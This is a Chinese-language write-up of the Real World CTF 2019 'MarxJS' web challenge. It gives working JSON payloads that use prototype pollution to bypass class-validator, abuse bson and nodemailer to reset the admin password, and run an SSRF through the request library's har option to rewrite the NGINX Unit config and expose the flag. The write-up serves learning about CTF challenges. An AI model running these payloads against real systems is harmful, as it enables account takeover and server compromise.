0x01MarJs
虽然没实地参加rw线下赛,但是将题目进行依次研究也是挺好的,因此结合wupco师傅的分析,来对这道题目进行一个分析和学习。
https://github.com/christasa/CTF-WEB/tree/master/RW2019:Marxjs
我们拿到附件之后,对附件进行一下基本的分析,共有3中功能,登陆、注册和找回密码,同时因为题目给了附件,因此我们可以看到mongo中的表的名字和管理员账号的用户名,但是看不到密码
可以看到管理员的用户名为admin@realworldctf.com
,因此根据wupco师傅的分析,class-validator中加入原型__proto__
既可以绕过对邮箱的检查
同时在Mongo的bson和nodemailer代码中,bson在输入到findone
的内容为空的时候会自动搜寻到第一行的数据,也就是第一个用户。而nodemailer
中在解析中只要obejct中存在address
这个属性,那么邮件就会使用这个address地址
因此最后使用的绕过resetpass的payload为
{"email":{"address":"email","_bsontype":"aa"},"__proto__":{}}
登陆之后,由附件得到能够访问到admin页面
改页面作用为发送HEAD请求来辨别服务器是否存活,具体的代码为
@AdminRequired()
@ValidateBody(Url)
async checkstatus(ctx: Context) {
await rp.head(ctx.request.body.url).then(() => { this.status = true; },
() => { this.status = false; } );
return new HttpResponseRedirect(this.status ? '/admin?alive=true' : '/admin?error=true');
}
同时文章中提出了对象har
中能够改变request
的请求方法,在传入HEAD参数中会检查请求的body是否有效
在fuzz的过程中发现在传入的json数据{"url":"example.com"}
中加入"__proto__":{"a":"b"}
即可以绕过class-validator对URL的检查。之后由附件中的run.sh
得到一条命令
curl -X PUT --data-binary @unit.config.json --unix-socket /var/run/control.unit.sock http://localhost/config/
经过查询之后发现能够使用unit来读取文件,同时还能指定使用的语言,类似如下https://unit.nginx.org/configuration/#
查看题目中的配置情况
因此需要将flag文件映射到站点上面,构造出payload
{
"listeners": {
"0.0.0.0:13333": {
"pass": "applications/realworldcms"
}
},
"applications":{
"realworldcms":{
"type": "php",
"root": "/",
"index": "flag"
}
}
}
因此需要修改unit.sock,https://unit.nginx.org/configuration/#configuration-mgmt从里面可以看出可以使用如下方法修改
使用curl命令进行修改尝试
curl -X PUT --data-binary @exp.json --unix-socket /var/run/control.unit.sock http://localhost/config
成功修改了页面。因此只需要使用request发送PUT方法将/var/run/control.unit.sock
地址的方法改写即可。文章中使用har对象来覆盖请求方法。传入查询参数{"uri":"http://localhost:9000","har":{"method":"PUT" }}
查看断点,在request/lib/har.js
中查看har中的对象将会通过prep
函数格式化到req
对象中,之后从req对象中提取出各个参数,同时har
中的method便会被覆盖
最后函数将option
对象return给request
方法
成功修改请求方式。下一步便是通过body传入payload,通过阅读源码,发现request请求通过body参数传入值。但是HEAD在进行请求前会检查是否含有body,如果含有body参数则会报错退出。在此处有一个小坑,当传入的数据类型为application/json
时,unit不会对其进行解析,在har.js文件突破点如下
function test (type) {
return req.postData.mimeType.indexOf(type) === 0
}
if (test('application/x-www-form-urlencoded')) {
options.form = req.postData.paramsObj
} else if (test('application/json')) {
if (req.postData.jsonObj) {
options.body = req.postData.jsonObj
options.json = true
}
} else if (test('multipart/form-data')) {
options.formData = {}
req.postData.params.forEach(function (param) {
var attachment = {}
if (!param.fileName && !param.contentType) {
options.formData[param.name] = param.value
return
}
// attempt to read from disk!
if (param.fileName && !param.value) {
attachment.value = fs.createReadStream(param.fileName)
} else if (param.value) {
attachment.value = param.value
}
if (param.fileName) {
attachment.options = {
filename: param.fileName,
contentType: param.contentType ? param.contentType : null
}
}
options.formData[param.name] = attachment
})
} else {
if (req.postData.text) {
options.body = req.postData.text
}
}
改段代码判断了传入数据的类型,虽然我们需要的类型为application/x-www-form-urlencoded
,但if的判断激昂返回的数据强制转换为一个对象,同时还会进行url编码,因此需要将代码调入到最后的else判断中去,将option的body赋值成payload并且返回该对象,最后构造出来的payload为
{"uri":"http://localhost:9000","har":{"method":"PUT","postData":{"__proto__":{"text":"{\"listeners\": {\"0.0.0.0:13333\": {\"pass\": \"applications/realworldcms\"}},\"applications\":{\"realworldcms\":{\"type\": \"php\",\"root\": \"/\",\"index\": \"flag\"}}}"}}}}
最后由request文档中对unit的调用
发送的post请求为
{"url":{"uri":"http://unix:/var/run/control.unit.sock:/config/","har":{"method":"PUT","postData":{"__proto__":{"text":"{\"listeners\": {\"0.0.0.0:13333\": {\"pass\": \"applications/realworldcms\"}},\"applications\":{\"realworldcms\":{\"type\": \"php\",\"root\": \"/\",\"index\": \"flag\"}}}"}}}},"__proto__":{}}
访问url:13333获得flag。